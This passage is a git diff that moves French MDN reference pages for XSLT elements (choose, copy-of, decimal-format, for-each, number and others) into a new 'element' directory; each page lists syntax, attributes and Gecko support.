Définition

-

XSLT 1.0, section 9.2. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/choose", "es": "es/XSLT/choose", "pl": "pl/XSLT/choose" } ) }} diff --git a/files/fr/web/xslt/comment/index.html b/files/fr/web/xslt/comment/index.html deleted file mode 100644 index 65dcd3ad2c..0000000000 --- a/files/fr/web/xslt/comment/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: comment -slug: Web/XSLT/comment -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/comment ---- -

-{{ XsltRef() }} -

L'élément <xsl:comment> écrit un commentaire dans le document de sortie. Il ne doit contenir que du texte. -

-

Syntaxe

-
<xsl:comment>
-	MODÈLE
-</xsl:comment>
-

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 7.4. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/comment", "es": "es/XSLT/comment", "pl": "pl/XSLT/comment" } ) }} diff --git a/files/fr/web/xslt/copy-of/index.html b/files/fr/web/xslt/copy-of/index.html deleted file mode 100644 index 624972c55f..0000000000 --- a/files/fr/web/xslt/copy-of/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: copy-of -slug: Web/XSLT/copy-of -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/copy-of ---- -

-{{ XsltRef() }} -

L'élément <xsl:copy-of> fait une copie complète dans le document de sortie (incluant les nœuds enfants) de tout ce que l'élément sélectionné spécifie. -

-

Syntaxe

-
<xsl:copy-of select=EXPRESSION />
-
-

Attributs obligatoires

-
select -
Utilise une expression XPath qui spécifie les éléments à copier. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 11.3. -

-

Support Gecko

-

Supporté. -

Interwiki Languages links -

{{ languages( { "en": "en/XSLT/copy-of", "es": "es/XSLT/copy-of", "pl": "pl/XSLT/copy-of" } ) }} diff --git a/files/fr/web/xslt/copy/index.html b/files/fr/web/xslt/copy/index.html deleted file mode 100644 index 10710be024..0000000000 --- a/files/fr/web/xslt/copy/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: copy -slug: Web/XSLT/copy -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/copy ---- -

-{{ XsltRef() }} -

L'élément <xsl:copy> transfert une copie limitée (le nœud et tous les nœuds d'espace de nommage associés) du nœud courant vers le document de sortie. Il ne copie aucun enfant ni attribut du nœud courant. -

-

Syntaxe

-
<xsl:copy use-attribute-sets=LISTE-DE-NOMS>
-	MODÈLE
-</xsl:copy>
-

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
use-attribute-sets -
Liste les ensembles d'attributs qui doivent être appliqués au nœud de sortie, si c'est un élément. Les noms des ensembles doivent être séparés par des espaces. -
-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 7.5. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/copy", "es": "es/XSLT/copy", "pl": "pl/XSLT/copy" } ) }} diff --git a/files/fr/web/xslt/decimal-format/index.html b/files/fr/web/xslt/decimal-format/index.html deleted file mode 100644 index 7a324d1082..0000000000 --- a/files/fr/web/xslt/decimal-format/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: decimal-format -slug: Web/XSLT/decimal-format -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/decimal-format ---- -

-{{ XsltRef() }} -

L'élément <xsl:decimal-format> définit les caractères et symboles à utiliser lors de la conversion de nombres en chaînes à l'aide de la fonction format-number( ). -

-

Syntaxe

-
<xsl:decimal-format
-	name=NOM
-	decimal-separator=CARACTÈRE
-	grouping-separator=CARACTÈRE
-	infinity=CHAÎNE
-	minus-sign=CARACTÈRE
-	NaN=CHAÎNE
-	percent=CARACTÈRE
-	per-mille=CARACTÈRE
-	zero-digit=CARACTÈRE
-	digit=CARACTÈRE
-	pattern-separator=CARACTÈRE />
-

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
name -
Définit un nom pour ce format. -
-
decimal-separator -
Définit le caractère séparateur des décimales. Le caractère par défaut est (.). -
-
grouping-separator -
Définit le caractère séparateur des milliers. Le caractère par défaut est (,). -
-
infinity -
Définit la chaîne utilisée pour représenter l'infini. La chaîne par défaut est "Infinity". -
-
minus-sign -
Définit le caractère du signe moins. Le caractère par défaut est le trait d'union (-). -
-
NaN -
Définit la chaîné utilisée lorsque la valeur n'est pas un nombre. La chaîne par défaut est "NaN". -
-
percent -
Définit le caractère du signe pourcentage. Le caractère par défaut est (%). -
-
per-mille -
Définit le caractère signe pour mille. Le caractère par défaut est (‰). -
-
zero-digit -
Définit le caractère pour le chiffre 0. Le caractère par défaut est (0). -
-
digit -
Définit le caractère représentant un nombre dans le modèle de format. Le caractère par défaut est (#). -
-
pattern-separator -
Définit le caractère séparant les sous-modèles positifs et négatifs dans le modèle de format. Le caractère par défaut est le point-virgule (;). -
-

Type

-

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Définition

-

XSLT 1.0, section 12.3. -

-

Support Gecko

-

Supporté depuis 1.0 (Mozilla 1.0, Netscape 7.0). -

INterwiki Languages Links -

{{ languages( { "en": "en/XSLT/decimal-format", "es": "es/XSLT/decimal-format", "pl": "pl/XSLT/decimal-format" } ) }} diff --git a/files/fr/web/xslt/element/apply-imports/index.html b/files/fr/web/xslt/element/apply-imports/index.html new file mode 100644 index 0000000000..e2ee362904 --- /dev/null +++ b/files/fr/web/xslt/element/apply-imports/index.html @@ -0,0 +1,31 @@ +--- +title: apply-imports +slug: Web/XSLT/apply-imports +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/apply-imports +--- +

+{{ XsltRef() }} +


+L'élément <xsl:apply-imports>, utilisé la plupart du temps dans les feuilles de styles complexes, est assez mystérieux. Les règles de priorité de l'importation imposent que les règles de modèles des feuilles de styles principales aient une priorité supérieure aux règles de modèles des feuilles de styles importées. Cependant, il est parfois utile de forcer le processeur à utiliser une règle de modèle de la feuille de styles importée (de priorité plus basse) plutôt que la règle équivalente de la feuille de styles principale. +

+

Syntaxe

+
<xsl:apply-imports/>
+
+

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 5.6. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/apply-imports", "es": "es/XSLT/apply-imports", "pl": "pl/XSLT/apply-imports" } ) }} diff --git a/files/fr/web/xslt/element/apply-templates/index.html b/files/fr/web/xslt/element/apply-templates/index.html new file mode 100644 index 0000000000..fa76051fa5 --- /dev/null +++ b/files/fr/web/xslt/element/apply-templates/index.html @@ -0,0 +1,37 @@ +--- +title: apply-templates +slug: Web/XSLT/apply-templates +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/apply-templates +--- +

+{{ XsltRef() }} +


+L'élément <xsl:apply-templates> sélectionne un ensemble de nœuds dans l'arbre d'entrée et demande au processeur de leur appliquer les modèles appropriés. +

+

Syntaxe

+
<xsl:apply-templates select=EXPRESSION mode=NOM>
+	<xsl:with-param> [optionnel]
+	<xsl:sort> [optionnel]
+</xsl:apply-templates>
+

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
select +
Utilise une expression XPath qui spécifie les nœuds qui doivent être traités. Une astérisque (*) sélectionne l'ensemble des nœuds. Si cet attribut n'est pas défini, tous les nœuds enfants du nœud courant sont sélectionnés. +
+
mode +
S'il existe plusieurs traitements définis pour un même nœud, permet de les différencier. +
+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 5.4. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/apply-templates", "es": "es/XSLT/apply-templates", "pl": "pl/XSLT/apply-templates" } ) }} diff --git a/files/fr/web/xslt/element/attribute-set/index.html b/files/fr/web/xslt/element/attribute-set/index.html new file mode 100644 index 0000000000..2a85e1e8f6 --- /dev/null +++ b/files/fr/web/xslt/element/attribute-set/index.html @@ -0,0 +1,33 @@ +--- +title: attribute-set +slug: Web/XSLT/attribute-set +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/attribute-set +--- +

+{{ XsltRef() }} +

L'élément <xsl:attribute-set> crée un ensemble nommé d'attributs, qui peut être appliqué dans son intégralité au document de sortie, de façon similaire aux styles CSS nommés. +

+

Syntaxe

+
<xsl:attribute-set name=NOM use-attribute-sets=LISTE-DE-NOMS>
+	<xsl:attribute>
+</xsl:attribute-set>
+

Attributs obligatoires

+
name +
Définit le nom de l'ensemble d'attributs. Le nom doit être un QName valide. +
+

Attributs optionnels

+
use-attribute-sets +
Construit un ensemble d'attributs à partir d'autres ensembles d'attributs. Les noms des ensembles composants doivent être séparés par une espace et ils ne doivent pas s'inclure eux-mêmes directement ou indirectement. +
+

Type

+

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Défini

+

XSLT 1.0, section 7.1.4. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/attribute-set", "es": "es/XSLT/attribute-set", "pl": "pl/XSLT/attribute-set" } ) }} diff --git a/files/fr/web/xslt/element/attribute/index.html b/files/fr/web/xslt/element/attribute/index.html new file mode 100644 index 0000000000..3a5e5f1640 --- /dev/null +++ b/files/fr/web/xslt/element/attribute/index.html @@ -0,0 +1,33 @@ +--- +title: attribute +slug: Web/XSLT/attribute +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/attribute +--- +

+{{ XsltRef() }} +

L'élément <xsl:attribute> crée un attribut dans le document de sortie, en utilisant n'importe quelle donnée accessible depuis la feuille de styles. L'élément doit être la première chose définie dans l'élément du document de sortie pour lequel il détermine les valeurs d'attributs. +

+

Syntaxe

+
<xsl:attribute name=NOM namespace=URI>
+	MODÈLE
+</xsl:attribute>
+

Attributs obligatoires

+
name +
Définit le nom de l'attribut à créer dans le document de sortie. Le nom doit être un QName valide. +
+

Attributs optionnels

+
namespace +
Définit l'URI de l'espace de nommage pour cet attribut dans le document de sortie. Vous ne pouvez pas définir le préfixe de l'espace de nommage correspondant avec cet élément. +
+

Type

+

Instruction, apparaît dans un modèle ou dans un élément <xsl:attribute-set>. +

+

Définition

+

XSLT 1.0, section 7.1.3. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/attribute", "es": "es/XSLT/attribute", "pl": "pl/XSLT/attribute" } ) }} diff --git a/files/fr/web/xslt/element/call-template/index.html b/files/fr/web/xslt/element/call-template/index.html new file mode 100644 index 0000000000..12daa615fc --- /dev/null +++ b/files/fr/web/xslt/element/call-template/index.html @@ -0,0 +1,32 @@ +--- +title: call-template +slug: Web/XSLT/call-template +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/call-template +--- +

+{{ XsltRef() }} +

L'élément <xsl:call-template> invoque un modèle nommé. +

+

Syntaxe

+
<xsl:call-template name=NOM>
+	<xsl:with-param> [optionnel]
+</xsl:call-template>
+

Attribut obligatoire

+
name +
Définit le nom du modèle à invoquer. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 6. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/call-template", "es": "es/XSLT/call-template", "pl": "pl/XSLT/call-template" } ) }} diff --git a/files/fr/web/xslt/element/choose/index.html b/files/fr/web/xslt/element/choose/index.html new file mode 100644 index 0000000000..4fde3f3695 --- /dev/null +++ b/files/fr/web/xslt/element/choose/index.html @@ -0,0 +1,32 @@ +--- +title: choose +slug: Web/XSLT/choose +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/choose +--- +

+{{ XsltRef() }} +


+L'élément <xsl:choose> définit un choix parmi un certain nombre d'alternatives. Il se comporte comme l'instruction switch d'un langage procédural. +

+

Syntaxe

+
<xsl:choose>
+	<xsl:when>
+	<xsl:otherwise> [optionnel]
+</<xsl:choose>

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. Il contient un ou plusieurs éléments <xsl:when>, et éventuellement un élément final <xsl:otherwise>. +

+

Définition

+

XSLT 1.0, section 9.2. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/choose", "es": "es/XSLT/choose", "pl": "pl/XSLT/choose" } ) }} diff --git a/files/fr/web/xslt/element/comment/index.html b/files/fr/web/xslt/element/comment/index.html new file mode 100644 index 0000000000..65dcd3ad2c --- /dev/null +++ b/files/fr/web/xslt/element/comment/index.html @@ -0,0 +1,31 @@ +--- +title: comment +slug: Web/XSLT/comment +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/comment +--- +

+{{ XsltRef() }} +

L'élément <xsl:comment> écrit un commentaire dans le document de sortie. Il ne doit contenir que du texte. +

+

Syntaxe

+
<xsl:comment>
+	MODÈLE
+</xsl:comment>
+

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 7.4. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/comment", "es": "es/XSLT/comment", "pl": "pl/XSLT/comment" } ) }} diff --git a/files/fr/web/xslt/element/copy-of/index.html b/files/fr/web/xslt/element/copy-of/index.html new file mode 100644 index 0000000000..624972c55f --- /dev/null +++ b/files/fr/web/xslt/element/copy-of/index.html @@ -0,0 +1,31 @@ +--- +title: copy-of +slug: Web/XSLT/copy-of +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/copy-of +--- +

+{{ XsltRef() }} +

L'élément <xsl:copy-of> fait une copie complète dans le document de sortie (incluant les nœuds enfants) de tout ce que l'élément sélectionné spécifie. +

+

Syntaxe

+
<xsl:copy-of select=EXPRESSION />
+
+

Attributs obligatoires

+
select +
Utilise une expression XPath qui spécifie les éléments à copier. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 11.3. +

+

Support Gecko

+

Supporté. +

Interwiki Languages links +

{{ languages( { "en": "en/XSLT/copy-of", "es": "es/XSLT/copy-of", "pl": "pl/XSLT/copy-of" } ) }} diff --git a/files/fr/web/xslt/element/copy/index.html b/files/fr/web/xslt/element/copy/index.html new file mode 100644 index 0000000000..10710be024 --- /dev/null +++ b/files/fr/web/xslt/element/copy/index.html @@ -0,0 +1,32 @@ +--- +title: copy +slug: Web/XSLT/copy +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/copy +--- +

+{{ XsltRef() }} +

L'élément <xsl:copy> transfert une copie limitée (le nœud et tous les nœuds d'espace de nommage associés) du nœud courant vers le document de sortie. Il ne copie aucun enfant ni attribut du nœud courant. +

+

Syntaxe

+
<xsl:copy use-attribute-sets=LISTE-DE-NOMS>
+	MODÈLE
+</xsl:copy>
+

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
use-attribute-sets +
Liste les ensembles d'attributs qui doivent être appliqués au nœud de sortie, si c'est un élément. Les noms des ensembles doivent être séparés par des espaces. +
+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 7.5. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/copy", "es": "es/XSLT/copy", "pl": "pl/XSLT/copy" } ) }} diff --git a/files/fr/web/xslt/element/decimal-format/index.html b/files/fr/web/xslt/element/decimal-format/index.html new file mode 100644 index 0000000000..7a324d1082 --- /dev/null +++ b/files/fr/web/xslt/element/decimal-format/index.html @@ -0,0 +1,71 @@ +--- +title: decimal-format +slug: Web/XSLT/decimal-format +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/decimal-format +--- +

+{{ XsltRef() }} +

L'élément <xsl:decimal-format> définit les caractères et symboles à utiliser lors de la conversion de nombres en chaînes à l'aide de la fonction format-number( ). +

+

Syntaxe

+
<xsl:decimal-format
+	name=NOM
+	decimal-separator=CARACTÈRE
+	grouping-separator=CARACTÈRE
+	infinity=CHAÎNE
+	minus-sign=CARACTÈRE
+	NaN=CHAÎNE
+	percent=CARACTÈRE
+	per-mille=CARACTÈRE
+	zero-digit=CARACTÈRE
+	digit=CARACTÈRE
+	pattern-separator=CARACTÈRE />
+

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
name +
Définit un nom pour ce format. +
+
decimal-separator +
Définit le caractère séparateur des décimales. Le caractère par défaut est (.). +
+
grouping-separator +
Définit le caractère séparateur des milliers. Le caractère par défaut est (,). +
+
infinity +
Définit la chaîne utilisée pour représenter l'infini. La chaîne par défaut est "Infinity". +
+
minus-sign +
Définit le caractère du signe moins. Le caractère par défaut est le trait d'union (-). +
+
NaN +
Définit la chaîné utilisée lorsque la valeur n'est pas un nombre. La chaîne par défaut est "NaN". +
+
percent +
Définit le caractère du signe pourcentage. Le caractère par défaut est (%). +
+
per-mille +
Définit le caractère signe pour mille. Le caractère par défaut est (‰). +
+
zero-digit +
Définit le caractère pour le chiffre 0. Le caractère par défaut est (0). +
+
digit +
Définit le caractère représentant un nombre dans le modèle de format. Le caractère par défaut est (#). +
+
pattern-separator +
Définit le caractère séparant les sous-modèles positifs et négatifs dans le modèle de format. Le caractère par défaut est le point-virgule (;). +
+

Type

+

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Définition

+

XSLT 1.0, section 12.3. +

+

Support Gecko

+

Supporté depuis 1.0 (Mozilla 1.0, Netscape 7.0). +

INterwiki Languages Links +

{{ languages( { "en": "en/XSLT/decimal-format", "es": "es/XSLT/decimal-format", "pl": "pl/XSLT/decimal-format" } ) }} diff --git a/files/fr/web/xslt/element/fallback/index.html b/files/fr/web/xslt/element/fallback/index.html new file mode 100644 index 0000000000..495ac3a99d --- /dev/null +++ b/files/fr/web/xslt/element/fallback/index.html @@ -0,0 +1,30 @@ +--- +title: fallback +slug: Web/XSLT/fallback +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/fallback +--- +

+{{ XsltRef() }} +

L'élément <xsl:fallback> définit le modèle à utiliser si un élément d'extension donné (ou, éventuellement, une nouvelle version) n'est pas supporté. +

+

Syntaxe

+
<xsl:fallback>
+	MODÈLE
+</xsl:fallback>

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 15. +

+

Gecko support

+

Pas encore supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/fallback", "es": "es/XSLT/fallback", "pl": "pl/XSLT/fallback" } ) }} diff --git a/files/fr/web/xslt/element/for-each/index.html b/files/fr/web/xslt/element/for-each/index.html new file mode 100644 index 0000000000..df76ed47f2 --- /dev/null +++ b/files/fr/web/xslt/element/for-each/index.html @@ -0,0 +1,32 @@ +--- +title: for-each +slug: Web/XSLT/for-each +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/for-each +--- +

+{{ XsltRef() }} +

L'élément <xsl:for-each> sélectionne un ensemble de nœuds et traite chacun d'eux de la même façon. Il est souvent utilisé pour des itérations sur un ensemble de nœuds ou pour changer le nœud courant. Si un ou plusieurs éléments <xsl:sort> apparaissent comme enfants de cet élément, le tri est effectué avant le traitement. Autrement, les nœuds sont traités dans l'ordre d'apparition dans le document. +

+

Syntaxe

+
<xsl:for-each select=EXPRESSION>
+	<xsl:sort> [optionnel]
+	MODÈLE
+</xsl:for-each>

Attribut obligatoire

+
select +
Utilise une expression XPath pour spécifier les nœuds qui doivent être traités. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 8. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/for-each", "es": "es/XSLT/for-each", "pl": "pl/XSLT/for-each" } ) }} diff --git a/files/fr/web/xslt/element/if/index.html b/files/fr/web/xslt/element/if/index.html new file mode 100644 index 0000000000..dd6c6f83bc --- /dev/null +++ b/files/fr/web/xslt/element/if/index.html @@ -0,0 +1,32 @@ +--- +title: if +slug: Web/XSLT/if +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/if +--- +

+{{ XsltRef() }} +

L'élément <xsl:if> regroupe un attribut test et un modèle. Si le test renvoie true, le modèle est appliqué. En cela, il est très semblable à l'instruction if d'autres langages. Cependant, pour simuler un <tt>if-then-else</tt>, vous devrez utilisez l'élément <xsl:choose> avec un descendant <xsl:when> et un <xsl:otherwise>. +

+

Syntaxe

+
<xsl:if test=EXPRESSION>
+	MODÈLE
+</xsl:if>
+

Attribut obligatoire

+
test +
Contient une expression XPath qui peut être évaluée (en utilisant les règles définies pour boolean( ) si nécessaire) en une valeur booléenne. Si la valeur est true, le modèle est appliqué ; dans le cas contraire, aucune action n'est exécutée. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0 section 9.1. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/if", "es": "es/XSLT/if", "pl": "pl/XSLT/if" } ) }} diff --git a/files/fr/web/xslt/element/import/index.html b/files/fr/web/xslt/element/import/index.html new file mode 100644 index 0000000000..80a618fd06 --- /dev/null +++ b/files/fr/web/xslt/element/import/index.html @@ -0,0 +1,38 @@ +--- +title: import +slug: Web/XSLT/import +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/import +--- +

{{ XsltRef() }}

+ +

L'élément <xsl:import> est un élément de haut niveau qui sert à importer le contenu d'une feuille de styles dans une autre. Généralement, le contenu importé a une priorité inférieure à celui de la feuille qui effectue l'importation. Ceci contraste avec <xsl:include> où les contenus des deux feuilles ont exactement la même priorité.

+ +

Syntaxe

+ +

<xsl:import href=URI />

+ +

Attribut obligatoire

+ +
+
href
+
Définit l'URI de la feuille de styles à importer.
+
+ +

Attributs optionnels

+ +

Aucun.

+ +

Type

+ +

Haut niveau, doit apparaître avant tout autre descendant de <xsl:stylesheet> ou de <xsl:transform> dans la feuille de styles qui effectue l'importation.

+ + +

Définition

+ +

XSLT 1.0, section 2.6.2.

+ +

Support Gecko

+ +

Support presque complet, quelques problèmes avec les variables et les paramètres de haut niveau dans Mozilla 1.0.

diff --git a/files/fr/web/xslt/element/include/index.html b/files/fr/web/xslt/element/include/index.html new file mode 100644 index 0000000000..d3e669099e --- /dev/null +++ b/files/fr/web/xslt/element/include/index.html @@ -0,0 +1,42 @@ +--- +title: include +slug: Web/XSLT/include +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/include +--- +

{{ XsltRef() }}

+ +

L'élément <xsl:include> fusionne les contenus de deux feuilles de styles. Contrairement à l'élément <xsl:import>, les contenus des deux feuilles de styles fusionnées ont la même priorité.

+ +

Syntaxe

+ +
<xsl:include href=URI />
+
+ +

Attribut obligatoire

+ +
+
href
+
Définit l'URI de la feuille de styles à inclure.
+
+ +

Attributs optionnels

+ +

Aucun.

+ +

Type

+ +

Haut niveau, peut apparaître dans n'importe quel ordre comme enfant de <xsl:stylesheet> ou de <xsl:transform>.

+ +

Définition

+ +

XSLT 1.0, section 2.6.1.

+ +

Support Gecko

+ +

Supporté.

+ +

Interwiki Languages Links

+ +

{{ languages( { "en": "en/XSLT/include", "es": "es/XSLT/include", "pl": "pl/XSLT/include" } ) }}

diff --git a/files/fr/web/xslt/element/key/index.html b/files/fr/web/xslt/element/key/index.html new file mode 100644 index 0000000000..f8065b84a6 --- /dev/null +++ b/files/fr/web/xslt/element/key/index.html @@ -0,0 +1,35 @@ +--- +title: key +slug: Web/XSLT/key +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/key +--- +

+{{ XsltRef() }} +

L'élément <xsl:key> déclare une clef nommée qui peut être utilisée dans toute la feuille de styles à l'aide de la fonction key( ). +

+

Syntaxe

+
<xsl:key name=NOM match=EXPRESSION
+	use=EXPRESSION />
+

Attributs obligatoires

+
name +
Définit un nom pour cette clef. Le nom doit être un QName valide. +
match +
Définit les nœuds sur lesquels cette clef est applicable. +
use +
Définit une expression XPath qui sera utilisée pour déterminer la valeur de la clef pour chacun des nœuds sur lesquels elle est applicable. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Définition

+

XSLT 1.0, section 12.2. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/key", "es": "es/XSLT/key", "pl": "pl/XSLT/key" } ) }} diff --git a/files/fr/web/xslt/element/message/index.html b/files/fr/web/xslt/element/message/index.html new file mode 100644 index 0000000000..d39aff3207 --- /dev/null +++ b/files/fr/web/xslt/element/message/index.html @@ -0,0 +1,31 @@ +--- +title: message +slug: Web/XSLT/message +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/message +--- +

+{{ XsltRef() }} +

L'élément <xsl:message> écrit un message de sortie (dans la console JavaScript) et, éventuellement, met fin à l'exécution de la feuille de styles. Il peut être utile pour le débogage. +

+

Syntaxe

+
<xsl:message terminate="yes" | "no" >
+	MODÈLE
+</xsl:message>

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
terminate +
Défini à yes, il indique que l'exécution doit être interrompue. La valeur par défaut est no : dans ce cas, le message est envoyé et l'exécution se poursuit. +
+

Type

+

Instruction, apparaît dans un modèle. +

+

Définition

+

XSLT 1.0, section 13. +

+

Support Gecko

+

Supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/message", "es": "es/XSLT/message", "pl": "pl/XSLT/message" } ) }} diff --git a/files/fr/web/xslt/element/namespace-alias/index.html b/files/fr/web/xslt/element/namespace-alias/index.html new file mode 100644 index 0000000000..17f8ffdba1 --- /dev/null +++ b/files/fr/web/xslt/element/namespace-alias/index.html @@ -0,0 +1,33 @@ +--- +title: namespace-alias +slug: Web/XSLT/namespace-alias +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/namespace-alias +--- +

+{{ XsltRef() }} +

L'élément <xsl:namespace-alias> est un dispositif rarement utilisé qui établit une équivalence entre un espace de nommage d'une feuille de styles et un espace de nommage différent dans l'arbre de sortie. L'utilisation la plus courante de cet élément est la génération d'une feuille de styles depuis une autre feuille de styles. Pour éviter qu'un élément résultat correctement préfixé par xsl: (qui doit être copié tel quel dans l'arbre résultant) soit interprêté à tort par le processeur, il lui est assigné un espace de nommage temporaire qui est convenablement reconverti en l'espace de nommage XSLT dans l'arbre de sortie. +

+

Syntaxe

+
<xsl:namespace-alias stylesheet-prefix=NOM result-prefix=NOM />
+
+

Attributs obligatoires

+
stylesheet-prefix +
Définit l'espace de nommage temporaire. +
result-prefix +
Définit l'espace de nommage voulu pour l'arbre de sortie. +
+

Attributs optionnels

+

Aucun. +

+

Type

+

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. +

+

Définition

+

XSLT 1.0, section 7.1.1. +

+

Support Gecko

+

Pas encore supporté. +

Interwiki Languages Links +

{{ languages( { "en": "en/XSLT/namespace-alias", "es": "es/XSLT/namespace-alias", "pl": "pl/XSLT/namespace-alias" } ) }} diff --git a/files/fr/web/xslt/element/number/index.html b/files/fr/web/xslt/element/number/index.html new file mode 100644 index 0000000000..3cdc34ff4e --- /dev/null +++ b/files/fr/web/xslt/element/number/index.html @@ -0,0 +1,98 @@ +--- +title: number +slug: Web/XSLT/number +tags: + - Référence_XSLT +translation_of: Web/XSLT/Element/number +--- +

+{{ XsltRef() }} +

L'élément <xsl:number> compte des éléments de façon séquentielle. Il peut également être utilisé pour formater rapidement un nombre. +

+

Syntaxe

+
<xsl:number
+	count=EXPRESSION
+	level="single" | "multiple" | "any"
+	from=EXPRESSION
+	value=EXPRESSION
+	format=FORMAT-CHAÎNE
+	lang=XML:CODE-LANG
+	letter-value="alphabetic" | "traditional"
+	grouping-separator=CARACTÈRE
+	grouping-size=NOMBRE  />

Attributs obligatoires

+

Aucun. +

+

Attributs optionnels

+
count +
Définit les éléments devant être numérotés de façon séquentielle dans l'arbre source. Il utilise une expression XPath. +
+
level +
Définit la manière dont les niveaux de l'arbre source doivent pris en compte lors de la génération des nombres séquentiels. Les trois valeurs possibles sont : single, multiple et any. La valeur par défaut est single : +
+
single +
Numérote de façon séquentielle les nœuds descendants d'un même parent, à la manière des éléments d'une liste. Le processeur va au premier nœud dans l'axe ancestor-or-self qui correspond à l'attribut count, puis compte ce nœud ainsi que tous les nœuds précédents issus de son parent (il s'arrête lorsqu'il rencontre une référence à l'attribut from, si il en trouve une) qui correspond également à l'attribut count. Si aucune correspondance n'est trouvée, la séquence produite sera une liste vide. +
+
+
multiple +
Numérote les nœuds avec une séquence composite qui reflète la position hiérarchique du nœud, par exemple 1.2.2.5. (le format peut être défini avec l'attribut format, par exemple A.1.1). Le processeur vérifie tous les ancestors du nœud courant ainsi que le nœud lui-même, il s'arrête lorsqu'il rencontre une correspondance avec l'attribut from, si il y en a une. Pour chaque nœud de la liste qui vérifie l'attribut count, le processeur compte combien il possède de frères vérifiant également cet attribut, et ajoute un pour le nœud lui-même. Si aucune correspondance n'est trouvée, la séquence produite sera une liste vide. +
+
+
any (Non supporté à l'heure actuelle) +
